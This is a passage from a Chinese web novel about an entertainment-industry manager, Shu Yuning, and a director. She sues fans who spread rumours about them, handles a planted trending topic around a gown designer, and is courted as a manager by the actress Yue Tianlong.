傅明宇也跟着站起来，他也两眼发昏，但还是尽力给舒誉宁开门。
“小心！”
舒誉宁没注意，被茶几绊了一脚。傅明宇冲了过去，舒誉宁安安稳稳倒在他怀里。
“……”傅明宇酒都醒了一大半。
“阿宁，阿宁？”
舒誉宁一点反应都没有。傅明宇低头一看，她睡着了。
如此贴近的距离，傅明宇能感受到舒誉宁平缓的心跳，和自己如雷的心跳，诡异地交织在一起。
琴瑟和鸣，不知道为何，傅明宇脑海里出现这么一个非常不恰当的词。
“哎。”他无奈地叹了口气，把舒誉宁扶到床边安顿好，给她盖上被子。
床被占了的傅明宇，环顾四周，看来只能在躺椅上凑合一晚了。
他躺在躺椅上，脑子很乱，明明还有醉意，却怎么样睡不着。
他一转身，刚好可以看到舒誉宁的睡颜。舒誉宁的酒品很好，喝多了也不吐不闹，只乖乖睡觉。脸上还有酒精的绯红。
还好自己是正人君子，要不然……傅明宇被自己的想法吓了一跳。
“龌龊。”他低声骂了自己一句。
傅明宇转过身去，强迫自己入睡。
9. 第 9 章
等傅明宇醒来，舒誉宁已经离开了，给她盖着的被子也不知何时盖在了自己身上。
傅明宇心情有点复杂，因为他有种被抛弃的失落感。
“嘀——”门口传来刷房卡的声音，是舒誉宁回来了。
“你醒了？早上看你睡得熟，就没叫你。房卡是在桌上拿的，一会儿给你放回去。”
早上，舒誉宁一睡醒，就看到蜷缩在躺椅上的傅明宇。身上也只盖着一条外套，看上去好不可怜。
她轻手轻脚地洗漱完毕，把被子盖在了他身上，便出了门。
等舒誉宁回来，傅明宇已经醒了。
“酒店的早餐时间过了，我就随便买了些早点，你要咖啡吗？”
“呃……谢谢。”
傅明宇特别尴尬，舒誉宁倒像个没事儿人一样。他们昨晚，好歹也是共处一室了啊。
“昨天，那个，我们……”
“怎么了？”
“没什么，没什么。”
舒誉宁恍然大悟，傅明宇不会是不好意思吧？
“你别介意。”舒誉宁满不在乎地摆摆手，“以前穷的时候，我和小林也挤过一间房。都习惯了。”
“什么！”
傅明宇反应之大，搞得舒誉宁莫名其妙。
“我们又没干什么，你急什么？”
“这种事怎么能习惯呢？”
“什么事啊？”
一看傅明宇就是没怎么吃过苦的大少爷，这点事有什么好大惊小怪的。
舒誉宁耐心给他解释，生怕他胡思乱想：“出去赶通告，主办方只会给艺人安排车旅食宿。我们工作人员的差旅费是公司报的。ACT这么抠，能给多少钱？”
“那也不是……唔！”傅明宇嘴里被塞了一块贝果。
“吃饭吧你。”
终于收到了高速即将解封的消息，舒誉宁正在收拾行李准备回去，却接到了阿May的电话。
“你快看热搜！”
舒誉宁点进去一看，热搜第一挂着“知名经纪人与某导演共同出入酒店，彻夜不归”的醒目标题。
热搜的文案真真假假写了一堆，不是说某导演为了电影顺利杀青“光荣献身”，就是说这位经纪人为了给旗下艺人接戏“英勇就义”。
反正就是把他们的关系写得很肮脏。
图片上的马赛克欲盖弥彰，给这条绯闻增加了不少热度。
舒誉宁往下滑，看着评论区。
【这经纪人我认识，不是Vibe的前经纪人舒誉宁吗？】
【我以前是Vibe的粉丝，Vibe现在这样，都是她害的！】
【我同意楼上说的，这经纪人一看就不是什么好人。Vibe才解散多久啊，就跟着导演去了酒店，真是可惜了这五个清清白白的大男孩。】
舒誉宁一一点进他们的主页，几乎都是刚注册不久的小号。说是Vibe的粉丝，可是主页里一条Vibe相关的内容都没有。
她马上切换到以前混Vibe粉丝群的小号，果不其然，群里的几位管理正在指挥群里的粉丝，给这条绯闻增加热度。
背后主使呼之欲出。
舒誉宁突然有点替他们感到悲哀。原本想着，Vibe解散了，她们也能渐渐回到正常的生活。偶塌房，受伤最深的往往都是粉丝。舒誉宁懂，所以她并不想跟她们计较过去发生的是是非非。
现在看来，终究是她太仁慈了。
“另一个当事人，你有什么想说的吗？”
“无聊。”傅明宇不明白，怎么会有人认为这种事情能对他们有什么负面影响。
“接下来我怎么处理，你都不用管，交给我。”
“说得你会听我似的。”
傅明宇算是看出来了，舒誉宁做什么决定，通常只是例行通知，从来没有过问他意见的意思。
“你知道就好。”
事实上，舒誉宁什么也没做。她仍由那些绯闻在热搜榜上发酵，阿May想帮她撤掉，都被拒绝了。
直到，她再次点开Vibe的粉丝群，看到那些大粉们在庆祝胜利，她知道该收网了。
两方对抗，最忌讳半场开香槟。
舒誉宁把粉丝群里的聊天记录、几个带头大粉的个人主页和热搜上的照片和文案，按照时间线整理好，发给了律师。
“写律师函，告他们造谣诽谤。”
原来舒誉宁放长线，钓大鱼。她等着那些热搜的评论和转发超过可以入刑的数量。
这无疑又是一枚热搜上的重磅炸弹。
如果绯闻热搜还仅限于饭圈内部流传，而经纪人告粉丝，那可是全网乐子人的狂欢。
【告的不是名誉权，是诽谤哎！娱乐圈第一人了吧。】
【Vibe不都凉了吗，他们的粉丝这是又在干嘛？果然粉随正主。】
【不会是Vibe指使的吧？】
【感觉很有可能。听说这经纪人当初出车祸也和他们有关。】
这下，除了锒铛入狱的袁洋没法发声以外，其他四个人纷纷发微博，和粉丝们进行了切割，生怕引火烧身。
舒誉宁都觉得寒心，要不怎么说这五个人当初能凑一块呢？都是一群无情无义的白眼狼。不管是队友还是经纪人，又或是粉丝，对于他们来说，有用的时候当垫脚石，没用的时候，一脚踢开。
“啪啪啪。”围观了全程的傅明宇在旁边给舒誉宁鼓掌。
“大获全胜啊，舒大经纪。”
“还差最后一步。”
舒誉宁打开电脑，在键盘上敲敲打打，写下了一篇声泪俱下的小作文。
【各位好，很抱歉占用公共资源……】
小作文的前半段，主要是梳理了一下这次的绯闻事件，对于自己和傅明宇的关系做了一个澄清。中间，是舒誉宁这次车祸的来龙去脉。曾经挥之不去的阴影，现在反而变成了一把利器，怎么惨怎么写。
【那段时间，我一直被私生和狗仔骚扰。为了不影响到Vibe成员的工作，我只能绕路躲开。但……后来的事情，大家也都知道了，我很幸运，能捡回一条命。一切从零开始，对我来说是莫大的挑战。我现在的工作和生活也逐渐回到正轨，我也希望昔日的粉丝能回到现实生活中。没想到还是在这个节骨眼上发生意外，这次，我只能拿起法律的武器保护自己。】
整篇小作文写得有理有据，而不是一味卖惨。再加上，网上一直在整治“饭圈乱象”，这几个大粉正撞枪口，被抓了典型。
等了两天，天气终于放晴，高速解封，舒誉宁马不停蹄地和傅明宇开车回去，给这件事收尾。
舒誉宁终于见到了这几位大粉。他们的年级普遍都不大，最小的那个才刚上大一。他们的家属一见到舒誉宁，又哭又闹，拉着自己的孩子要给舒誉宁跪下道歉。
“舒老师，求求你写份谅解书吧。他们都还小，万一……万一，他们的前途可就毁了呀！”
“舒小姐，都是我们做父母的没教好，你别跟孩子们一般见识。”
不大的会议室里，各种哭嚎此起彼伏，吵得舒誉宁脑袋都快炸了。
相比之下，舒誉宁的冷静在其中格格不入。
她一一扫视面前几个粉丝，他们看上去似乎都很后悔，眼睛都哭肿了。可是他们没有一个人敢和舒誉宁对视，心虚地躲开她的视线。
他们真的知道自己错了么？他们只知道自己要付出代价了。
“陈律师，该怎么处理就怎么处理。我绝不原谅。”
一些家属见她软的不吃，想来硬的。傅明宇见情况不对，刚想冲上来，拉开舒誉宁。她却似乎早有预判一样，指着角落里的监控。
“如果想你的孩子罪加一等，随你动手。”
谈判最后以失败告终。回去的路上，傅明宇回想刚刚的那一幕幕，还是觉得有些匪夷所思。
“不管怎
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么样，希望他们几个能给别的粉丝一个提醒，以后不会再有类似的事了。”
“不可能的。”舒誉宁的语气十分笃定。“等这件事过去，娱乐圈里还有会第二个，第三个，第无数个Vibe。粉丝也是，一茬接一茬。他们永远都会觉得，只有自己才是最爱哥哥的人。除了他们，全世界都要害他们的哥哥。”
“这么夸张？”
哪怕亲眼见过，傅明宇仍然觉得这种“我愿意为了哥哥与全世界为敌”的行为不可思议。
“这就是饭圈啊。不过清醒的人还是占大部分，但你不能指望要求所有人都正常。”
“还好我是导演，不是偶像，不会经历这种事情。”
傅明宇一想到一群学生，整天追着他喊“哥哥，我爱你”就觉得很恐怖。
“难说哦。”舒誉宁看向他，挑了挑眉，“你长得帅，又有才华，最容易招惹上毒唯了。”
说起来，这还是舒誉宁第一次夸他，还夸得如此直白。
“别开玩笑啊。”
“哟，不好意思了？那你可得习惯一下，以后等你红了，有的是粉丝给你写彩虹屁小作文呢。”
“阿宁……”
傅明宇这人就是脸皮薄。可越是这样，舒誉宁越是喜欢逗他。
“不说了，先送我回去，我要补觉。”
“嗯，你先眯一会儿吧。”
这件事的处理结果很快出来了，这几名粉丝在网上实名给舒誉宁道歉。几个家属凑了凑。凑了20万赔偿给舒誉宁。
舒誉宁一分没收，还贴了20万，以剧组的名义全捐了出去。
又收获了一波热搜和口碑。
傅明宇看到微博，不由得敬佩。什么事在舒誉宁手上，都能得到效益最大化。
“这就叫，有条件要上，没条件，创造条件也要上。当我这些年白混的？”
这件事让电影的热度空前高涨，大鹅影业邀请让全剧组参加即将到来的年度影视大会，还给他们设了一个“年度最期待电影奖”。这种商业奖项虽没什么含金量，但重在宣传和社交。届时，还会有很多品牌方出席，都是业内头部企业。
这次的安排太突然，一下多了好多细节要舒誉宁沟通。其中，最棘手的问题是怎么解决千杉和傅明宇的红毯礼服。
傅明宇倒还好。男士吗，遇事不决穿西装，再借一点手表、胸针这样的小配饰，很快搞定。
千杉的礼服是个大问题。
红毯一直都是女明星争奇斗艳的修罗场。
高定、当季、首穿、品牌价值……里面的门门道道足以写一本百科全书。以千杉今时今日的咖位，高奢品牌未必肯垂青眼，但这又是她第一次出席这样的商业场合，当日的一举一动对未来的时尚资源有着至关重要的影响，决不能落人下风。
关键时刻，还是阿May出手。她给舒誉宁介绍了一个最近在设计界声名鹊起的独立礼服设计师。
她的礼服全部由她自己手工定制，绝不可能撞衫。独特的设计和剪裁也让她多次登上国际时装周，可以说，从品牌价值和审美都无比契合舒誉宁的需求。
和设计师约了个时间，舒誉宁便和千杉去了她的工作室。
“兰素老师是吗？你好，我是和你提前联系过的舒誉宁，这位是千杉，叫我阿宁就好。”
“请进，稍等一下，我让我学生拿衣服给你们试。”
试了几件，舒誉宁都不太满意。
直到她看到橱窗里的绿色缎面礼裙。这条裙子，让她想起了一部经典的英伦电影。女主角穿在绿色长裙的样子，惊艳了她好久好久。
“兰素老师，这件可以试试吗？”
“这……”兰素有些为难。
还没等舒誉宁询问原因，门外冲进几个身影。
同时，如同绿头鸭子的尖锐嗓音响彻了整个工作室。
“兰素老师，上次我们珑珑定的绿色礼服好了没有啊？”
10. 第 10 章
“学姐！”
“千杉？”
千杉开心地跟来人打招呼，舒誉宁抬眼一看，这不是娱乐圈最具腥风血雨体质的黑料咖，越天珑吗？
看上去和千杉认识，好像还很熟。
至于那只“绿头鸭子”……舒誉宁忍住自己想翻个大白眼的冲动。
他是越天珑的经纪人，一个很刻薄的男人。在圈子里的地位挺高，大家都叫他“海枫哥”。搞笑的是，舒誉宁知道他本名——刘三强。
“哟，这不是舒大经纪吗？没死啊？”
“你……”千杉一听他这么问，马上来火了。舒誉宁按住她，让她别冲动。
“托三强哥的福，活得好好的。”
“舒誉宁！”果然，只要叫他本名，他就会破防。
“哈哈。”
站在一旁的越天珑竟然笑了出来。她经纪人吃瘪她不仅不恼怒，看上去还挺开心的。
她主动开口，免得让舒誉宁和刘三强继续吵下去：“好了，别吵了，试完衣服我还要去拍杂志。快点吧。”
越天珑一来，兰素就只能给她服务了。听说这位祖宗的脾气可不好。耍大牌，欺负化妆师、服装师是常有的事，经常接待明星模特的兰素，面对她都有些战战兢兢的。
现在只能让兰素的学生接待千杉和舒誉宁。纠结再三，两个人最后还是选了一件挂满水晶的水蓝色的鱼尾礼服。细碎的水晶就像人鱼的鳞片。袖口垂下来的轻纱则是人鱼的鱼鳍。
这条裙子也很美，只是那条绿色缎面长裙珠玉在前，让舒誉宁还是有些遗憾。
“珑珑，你太美了，这条裙子只有你才有资格穿，别人连碰都别想碰。”
舒誉宁听到了VIP包间里，“绿头鸭子”夸张的赞美。
好家伙，点我呢这是。
“哗啦”，VIP的包间的帘子拉开了。
舒誉宁下意识地往那边看去。
不得不说，越天珑真的美。
她的长相不是千杉那种时下最流行的瓜子小脸，而是下颌分明、颧骨眉弓都有存在感的中式传统审美。
也就是大众常说的“国泰民安脸”。
绿色缎面长裙样式简单，没有什么装饰，想要达到“人裙合一”的效果，只能搭配上这样美得有攻击性的脸蛋。
“学姐，你真美。”
“确实。”
这祖宗，还挺名不虚传的。一般女明星被夸漂亮，礼貌点的，会说“谢谢”。谦虚的，会说“哪里”“没有”。或者，直接回夸对方一句，“你也很美”。
直接认下来的，没见过。
舒誉宁注意到，一旁的兰素松了口气。
尽管如此，她还是上前小心询问：“越小姐，还有哪里需要修改的吗？”
看样子，这条裙子前后改版了很多次。越天珑，大概就是传说中难缠的甲方。
“就这样吧，我先走了。千杉，你们自便。”
“嗯，拜拜。”
送走了这尊大佛，兰素轻松多了，连带着话也多了起来。
舒誉宁好奇地打探：“她真像八卦新闻里说的，很麻烦？”
“有点。但她至少不会像别的客户一样，只会说‘我觉得不好，可我说不清哪里不好，你看着改’。她会明确地告诉我，她的想法是什么，我只要按照她的想法做就行。而且，能找到这么一个能把我的作品呈现得如此完美的客人，也很难得。”
舒誉宁赞同地点点头，兰素突然发现自己好像说错话了，马上补了一句：“当然，千杉也是。”
“没事没事，杉杉不计较这个。兰素老师，今天麻烦你了。下次见。”
“下次见。”
回去的路上，舒誉宁和千杉聊起了越天珑。
千杉告诉她，越天珑是大她两届的学姐，以前两个人在一个社团，自然而然就熟悉了。
在电影学院这个美女如云的地方，越天珑仍是其中的佼佼者，夸张的说法就是：“追她的人从这里排到法国。”
这也是为什么越天珑黑料缠身，却依然当红，这张脸就是最大的武器。
“她人怎么样？”
“是有点大小姐脾气，可她人挺好的。我有一回饭卡丢了，她包了我一个月的饭钱，直到下个月我爸妈给我打了生活费。所以我觉得网上说的那些都不靠谱。”
舒誉宁点点头，没多说什么，她对千杉的这个说法持保留意见。学生时代的一切到了社会上都不作数。更何况还是在娱乐圈这个大染缸。
“那你呢？看样子你和她经纪人不对付？”
“还不是抢资源那些事儿。一个品牌代言，最后我们完败。”
这件事舒誉宁印象太深了，Vibe的粉丝和越天珑的粉丝撕得不可开交。一般来说，爱豆粉的战斗力更强，至少在吵架这件事上，他们的赢面很大。
但这毕竟不是“产品大使”或者“品牌挚友”这种纯割韭菜的头衔，而是长期合作的品牌代言人。更多的时候，品牌选择代言人会优先考虑演员。再加上刘三强这个经纪人牛，他等到Vibe的粉丝把这个品牌炒到了一个前所未有的高热度，再让越天珑官宣代言，坐收渔翁之利。
后来，“舒誉宁废物”这个词条在热搜上的挂了整整三天。
回到了家，舒誉宁敷着面膜，闲来无事在手机上搜索越天珑的名字。
黑料小花名不虚传，跟着越天珑名字后面的，就没有几个好词。
什么“越天珑小三”，“越天珑整容”，“越天珑耍大牌”。
舒誉宁一一点进去看了个究竟。
关于小三这件事，起因是一对热度很高的荧幕CP，男方被爆出来和越天珑在一起了，因此很多cp粉骂越天珑是小三。
这对cp舒誉宁知道，是不折不扣的合约情侣。两方早就想拆伙了，只是放不下炒cp带来的巨大的商业价值。好巧不巧，男方又是个没有契约精神的，一边吃着cp红利，一边在追越天珑。女方和她的团队，看准时机，爆了这条消息，拆了cp的同时，还提纯了大量cp粉。
至于男方，早已糊穿地心。
其实cp粉未必不知道他们嗑的cp是假的，只是他们需要一个宣泄口，为他们所付出的真情实感找个台阶。
这个台阶只能是无辜的越天珑。
而整容，是狗仔拍到了越天珑出入整容医院的照片。
去整容医院也不代表就是整容，也有很多日常保养的项目。所谓“越天珑整容前的照片”，PS痕迹很重。这种新闻，太假太假。
而至于这个“越天珑耍大牌”可就不好说了。
爆料的很多都是和她合作过的工作人员。
千杉都说过她有点大小姐脾气，又听兰素说，她是个要求高的人。今天试衣服，舒誉宁也发现她是个直来直去的性子，这样的人，很容易会被认为在耍大牌。
这时，又跳出一条新的越天珑相关热搜。
“越天珑疑似被高奢品牌拉黑，只能穿小作坊礼服？”
配图是今天越天珑在兰素工作室试衣服的照片。
兰素要是看到自己的独立服装品牌被人称为小作坊，估计能气死。
可是这张照片是谁拍的？
明星在走红毯之前，当日的妆造都是绝对保密的，可今天工作室里就这么几个人。
她和千杉不会这么做。兰素和她学生还要做长期生意，不会为了这点热度而舍弃自己的信誉。并且，她们也不会称呼自己的工作室为“小作坊”。
莫非是越天珑和她经纪人？
越天珑不像是会买这种通稿的人，剩下的，只有刘三强这只绿头鸭子了。
他深谙娱乐圈法则，只要有利可图，哪怕让自己的艺人被网暴，他也无所谓。
但这件事，倒是让她和千杉陷入一个被动的局面。
兰素看到这条热搜是迟早的事，她很有可能会认为这条热搜是自己或者千杉买的。
毕竟今天在场所有人都看出来她和刘三强有过节，这条热搜是她买的，在明面上，完全说得过去。
兰素一生气，不把礼服借给她们了怎么办？到时候，恐怕有一百张嘴也说不清。
舒誉宁把面膜一扯，甩进了垃圾桶里。真是，做经纪人总是一刻都不能消停。
她找出很多兰素的资料，除了她的作品，还包括她进修的设计学院、拿过的奖项、参加的展览等
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等。全方位无死角地介绍了兰素是多么优秀的设计师，充分说明了她的优秀，更说明了她的工作室完全不是什么“小作坊”。
发了通稿以后，舒誉宁还不能懈怠，还要时时刻刻盯热度和数据，有没有把“小作坊”那条热搜给顶下去。
“叮咚——叮咚——”
“谁啊？”
可视门铃里出现了傅明宇的脸。
他来干什么？
“送宵夜。我知道你还没睡。”
“进来吧。”
傅明宇一进门，舒誉宁就开始叨叨叨说个不停，一会儿跟他说，他的礼服改得差不多了，过两天记得再去试一下，一会儿嘱咐他走红毯当天有哪些事情要注意。
“停，现在是休息时间，不谈工作。”
“那我们谈什么？”
听傅明宇跟她说不要谈工作，简直是倒反天罡。平常这话好像都是她对他说的。
“好好吃东西，别说话。”
直到热搜帮上再无越天珑的名字，这件事才算告了一段落。
“总算搞定了。”
舒誉宁看向一旁的傅明宇：“你怎么还在这儿？”
“你这是轰我走？”
真是好心没好报。傅明宇看到热搜后，猜到她又要有的忙，便马上买了吃的来看舒誉宁。
“不然呢？咱们孤男寡女合适吗？”
“又不是没有过！”奇了怪了，怎么就小林可以，他不可以？傅明宇忍不住想，如果现在来的是小林，她还会轰人吗？
“我不想再被狗仔拿去做文章。你现在名声大噪，你知道会有多少人在暗中跟着你吗？”
明知道舒誉宁也是出于职业的考量，但傅明宇就是生气：“我再也不来看你了！”
傅明宇这股无名火，一直生到了红毯当天。
千杉都瞧出来傅明宇的不对劲，她偷偷问舒誉宁：“姐，傅导怎么了？”
“谁知道，他不总这样？哎，你头别动，这几个卡子还没固定好。”
傅明宇则是在一旁冷着脸：舒誉宁为什么还不来哄自己？
“傅导~~~”最后一个尾音，舒誉宁喊出了山路十八弯。
听到舒誉宁如此做作地喊自己，傅明宇心里暗爽，但脸上还是苦哈哈的。
决不能让她看出来自己很高兴。
“马上就上场了，笑一笑好不好？我知道，你冷面的样子很帅，但是你笑起来更帅。跟我喊‘茄子’。”
“哼。”傅明宇别过头去，不理她。
好，我忍。
大局为主，舒誉宁还是耐着性子哄着傅明宇。
可他依旧不领情。
眼看着时间快到了，舒誉宁的耐心也消耗得差不多了。她咬着牙，用只有傅明宇能听到的声音“威胁他”：“差不多得了，别蹬鼻子上脸。”
“……”
傅明宇终于笑了。
早知道这样，自己刚刚还废那个功夫干嘛？
终于到了他们剧组上场，红毯旁的媒体纷纷举起手里的长枪短炮，对着傅明宇千杉他们一顿狂拍。拍摄结束，还给他们留了最长时间的群访环节。
舒誉宁很感慨。一年前还无人知晓的导演和演员，如今都已经蜕变成大明星了。
红毯结束，舒誉宁要准备下一个环节，在后台的走廊里，迎面撞上了越天珑。
舒誉宁礼貌地点点头，侧身给她让路，越天珑踩着高跟鞋哒哒哒在她面前走过，看都没看她一眼。
“叮——”舒誉宁的手机收到了一条陌生号码的短信。
【“小作坊”那条热搜处理得很不错，不愧是我看上的人。】
舒誉宁猛一回头，看到了越天珑的侧脸。
她的余光正紧紧盯着自己。
舒誉宁怎么也没想到，那条热搜竟然是越天珑自己买的！目的是，试探她？
她赶紧给那个号码回复消息【你什么意思？为什么要这么做？】
发送失败，她被越天珑拉黑了。
舒誉宁恍然大悟。
不管是一开始在兰素工作室的相遇，还是后来莫名其妙的热搜。
越天珑从一开始，就是冲自己来的。
11. 第 11 章
舒誉宁站在原地愣了许久，她想不通越天珑这么做的目的。
她和越天珑不熟，唯一的过节就是以前抢代言的事情，可那件事过去很久了。难道是为了帮刘三强对付自己？
不至于，她和刘三强关系应该一般，那到底是为了什么？
“老大，发什么呆啊？该入座了。”
直到小林来叫她，舒誉宁才回过神来，时间已经差不多了。
“没什么，看大明星呢。走吧。”
颁奖典礼马上开始，舒誉宁穿过后台，往主办方定好的位子走去。
颁奖典礼的座位安排最能体现咖位，舒誉宁他们剧组是临时加进来的，可依旧能坐到第一排，舒誉宁这个制片人，座位更是在最中间的座位。
她一进场，就受到了热烈的欢迎。
“阿宁姐，好久不见，一会儿结束喝一杯去？”
“一会儿还有事儿呢，过几天我请你。”
这边刚说完，那边又迎上来几个。
“阿宁，来来来，给你介绍一下，这是我们公司新签的两个小孩。”
“阿宁姐好。”两个小鲜肉明显是第一次出席这样的场合，看上去十分紧张。
“长得真帅，还是你眼光好，未来可期。”
还没走几步，不知道有谁拉住了舒誉宁，打开了自己手机的前置摄像头。
“阿宁，我们拍张照呗。”
“好。”舒誉宁露出八个牙齿，嘴上笑着，眼里尽是冷漠。
这些人，舒誉宁有些都叫不上名字，可是一个个亲昵地好像认识了十多年。
甚至其中不少人，在舒誉宁落魄的时候，连条微信都没发过。
人只有在顺境的时候，这个世界才有好人。
在娱乐圈日复一日的磨炼之中，舒誉宁早就学会了和他们打交道的方式。
在人群的簇拥之下，舒誉宁好不容易挤到了自己的座位。
“喏。”
坐在她旁边的傅明宇递过来一瓶水。
“谢谢。”舒誉宁正需要这个。
“你要不也喝点？我把你杯子拿过来了。”
傅明宇摇摇头，他现在不自在得很。况且，他嘴上还涂了提气色的唇釉，根本不敢喝水。
对于化妆，他非常抗拒，舒誉宁直接吐槽：“比村里的年猪还难抓。”
要不是小林和化妆师齐上阵，把他摁在椅子上，这唇釉还真涂不了。
“不要紧张，你一会儿还要上台发言呢，喝点。”
“行吧。”
这时，一股淡淡的橙花香气钻进舒誉宁鼻腔。
她敏锐的鼻子马上就分辨出来，这是最新上市的一款限量版香水。
这款香水的代言人是……
越天珑。
舒誉宁第一次有了想跑的冲动。
越天珑怎么会坐在她旁边？
座位表她提前看过，她记得越天珑离她远着，怎么会突然换到她旁边？
来者不善，在没摸清她的底细之前，舒誉宁真不想和她打交道。
但奇怪的是，越天珑似乎也没想和她有什么深入沟通。除了在入座时跟她打了招呼，其余的一句话也没说。
仿佛一切都没发生过。
此时，舞台上灯光亮起，主持人依次走上台，宣布本次盛典正式开始。
通过主持人的介绍，舒誉宁也知道了越天珑突然换位子的原因。
越天珑是本届盛典的形象女神，因此，她的座位从边缘换到了前排中位。
好巧不巧，给舒誉宁他们颁奖的正是她。
“接下来，我将宣布本次盛典的年度最期待电影——《浪潮》。恭喜！让我们掌声欢迎主创代表上台领奖！”
舒誉宁按照礼仪的引导走上了颁奖台。
接过越天珑手里的奖杯，舒誉宁和她礼貌性地握了握手，她听到越天珑在她耳边低声说“恭喜”，便退到了一旁。
站在话筒前，舒誉宁流利地说着早就准备好的获奖感言：“感谢大鹅影业，同时也感谢剧组的每一位伙伴……”
颁奖典礼很快结束。结束后，小林送千杉回去，舒誉宁则是和傅明宇一起回去。
忙活了好几天的舒誉宁在车上昏昏欲睡，隐约之中，她感到被人盖了一张薄毯。
“谢谢。”毯子底下，传来舒誉宁闷闷的声音。
只是心里有事，她也睡不着。她现在满脑子都是越天珑。
“你和越天珑是不是有什么过节？”
偏偏傅明宇在这个时候开了口。舒誉宁一下坐直，满脸惊讶得瞪着傅明宇。
瞪得傅明宇心里发毛。
“干嘛？”
“你怎么知道我在想她？”
或许……这就是默契？
这个问题傅明宇想问一晚上了。在颁奖典礼中，舒誉宁和越天珑很正常，正常得打招呼，正常得握手，正常得颁奖受奖。但傅明宇就是觉得她们俩之间怪怪的。
舒誉宁见傅明宇问起来，便把这几天的事情跟傅明宇说了一遍。
“你说奇不奇怪？我根本不认识她。我更不知道她安的什么心。”
傅明宇觉得舒誉宁的反应过激得有些有趣：“你也有怕的时候？”
“因为摸不清她的底细，难免有点慌。”
“我倒是觉得她没有恶意。”
这句话，舒誉宁是赞同的。但正因为连恶意都没有，舒誉宁甚至都不知道该怎么防备。
陷入被动的感觉，真讨厌。
原本傅明宇是想先送舒誉宁回去的，她却想回工作室，处理一些事情。见拗不过她，傅明宇只能顺从，先送她去工作室。
此时，夜已深，地下车库里空空荡荡，舒誉宁一下就注意到了电梯旁停着一辆陌生的跑车。
傅明宇见她一直盯着一个方向，便顺着她的目光看过去。
车里很昏暗，似乎坐着一个人。
“我们话题的女主角，找上门来了。”
说着，一个窈窕多姿的身影下了车。
结束工作的越天珑换了一身日常的便装。哪怕只是简简单单的卫衣牛仔裤，也被她穿得像品牌高定。
“我陪你一起上去？”
舒誉宁摇摇头：“不用，你也说了，她没恶意。”
越天珑能直接找上门，这让舒誉宁安心了不少。
越天珑靠在车门，伸出纤纤玉手，对舒誉宁和傅明宇招了招手。
“不请我上去坐坐？”
“正有这个打算呢。越老师，请吧。”
而后，舒誉宁嘱咐傅明宇早点回去，好好休息。
“那你呢？”
“大不了蹭她车。”越天珑特地来找她，捎她一段路总没什么问题。
“嗯，有事跟我说。”
一进工作室，越天珑大咧咧地往沙发一坐，一副反客为主的模样。
“这地方不错，就是小了点。你们现在大红大紫，不考虑换个地方？”
“越老师有什么想法？”
越天珑和她兜圈子，她也不介意陪她聊聊。
“我和刘三强的合约快到期了。”
越天珑直截了当地进入主题。
舒誉宁却选择装傻：“祝您前途坦荡。”
“签我。”
“拒绝。”
“为什么？”舒誉宁本以为越天珑会因为她的拒绝而不高兴，可是她明显能感觉到越天珑眼底的跃跃欲试。
似乎她的拒绝，燃起了越天珑的斗志。
舒誉
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宁有点头疼：这一幕，怎么这么眼熟？
“你为什么要选我？”
越天珑虽然黑料缠身，但也确实是棵行走的摇钱树。且不说刘三强会不会这么轻易地放她走，仅是圈子里愿意签她的公司，估计都数不过来。舒誉宁可不愿意蹚这趟浑水。
更何况，一个傅明宇那样的祖宗就够她受的了，再来一个越天珑，怕是得折寿。
“你也是资深经纪人了。我问你个问题，我这黑红路线，还能走几年啊？”
舒誉宁还真的认真思考起了这个问题。算起来，越天珑入行快10年了，马上就30岁了。
当艺人，无论男女，30岁都是个坎儿。30岁会面临一个转型问题，成功了，就会长红，红到退休的那种。转型失败了，无论以前多风光，都会被沦为群嘲对象，最后一路糊到底。
话都说到这份儿上了，越天珑也和舒誉宁说了几句真心话。
“我每天都能收到十多份经纪公司的邀约，刘三强看上去也没放我走的意思。但我真的不想和他，以及他那样的经纪人合作了。我耗不起。”
早在一年多前，越天珑就在考察娱乐圈各个经纪人的情况，一直没找到满意的合作伙伴。直到她看到了舒誉宁。
做事有手段、讲章法，经验老道，眼光也很好。最重要的是，舒誉宁讲道义。
这点，在娱乐圈可是稀缺品质。
“我不用你向我推什么资源，相反，我可以给你灌资源。比如，我可以注资，让你的工作室看起来像样一点。”
条件很诱人，只不过舒誉宁还是拒绝了。
这次，越天珑让她给个理由。
“兰素。你和刘三强怎么斗，你有什么规划，那是你们的事。你不应该拿兰素当枪使。”
为兰素说话，倒不是因为舒誉宁和兰素有多么深的交情。更多的是她感同身受。今天，越天珑为了试探舒誉宁的水平，拿兰素下手。说不准，过几天被她推出去的可能就是舒誉宁。
舒誉宁被坑过，这样的人，她还是远离比较好。
“如果我说那篇通稿，兰素知道呢？再如果，我告诉你，那篇通稿原本是刘三强留着打算黑我的呢？”
原来如此。
刘三强知道自己和越天珑的合约即将到期，越天珑和他续约的可能渺茫，索性破罐破摔，准备了一堆黑她的通稿。
不仅如此，他还推掉了很多越天珑的资源。比如今天颁奖盛典的形象女神，原定的就是越天珑。但刘三强却把这个资源推了，他才不管会不会得罪大鹅影业，反正后果是越天珑自己担着。
这个资源还是越天珑自己求了主办方很久才争取回来的。也难怪，舒誉宁看到的座位表和实际上的不一样。
他这个小人，不惜毁了越天珑。
不过越天珑也是娱乐圈老油条了，她提前爆了这篇通稿，试探舒誉宁的同时，也是给刘三强一个警告。他在背后做的小动作，越天珑都知道。
“如果你不能处理兰素的事情，我会处理。处理的方法也和你差不多。你放心，我绝对不是你想的那种人。”
见舒誉宁还是一副顾虑重重的样子，越天珑的大小姐脾气又上来了。
“烦死了，我长这么大还从来没人拒绝过。我真是中邪了，要和你说这么多废话！舒誉宁，你等着，签我的公司大把，到时候，我第一个针对你！”
越天珑都被气红温了。舒誉宁不禁想，她当时和傅明宇谈判的时候，是不是也是这个样子。
不过嘛，这样的越天珑才是她印象里的越天珑。
“刘三强我可对付不了，你自己看着办。”
这话的意思是……只要能搞定刘三强，她就签自己了？
“咱俩强强联手，不在话下。”
12. 第 12 章
两个人聊了许久，直到后半夜，她俩才意识到该回去了。
走到了地下车库，舒誉宁看到傅明宇一直等在那里。
“看来不用搭我的车了。”越天珑的语气里透着丝丝揶揄，“傅导这是怕我吃了你啊？”
还没等舒誉宁怼回去，越天珑脚步轻快地蹿到傅明宇面前，礼貌地伸出手：“傅导，认识一下，我是越天珑，以后有戏联系我呗。”
“不要。”
傅明宇不留情面地拒绝了。
看着越天珑的脸色沉了下来，一旁的舒誉宁憋笑快憋到内伤。
“你们俩还真是一路货色啊！”不过几个小时的时间，一向只拒绝别人的越天珑竟然被拒绝了三次。
她没忍住，喊了一声：“舒誉宁！”
“哎哟，怎么了，我的大小姐！”
“以后你就是我经纪人了，我就要演傅明宇的戏，你想办法帮我解决。”
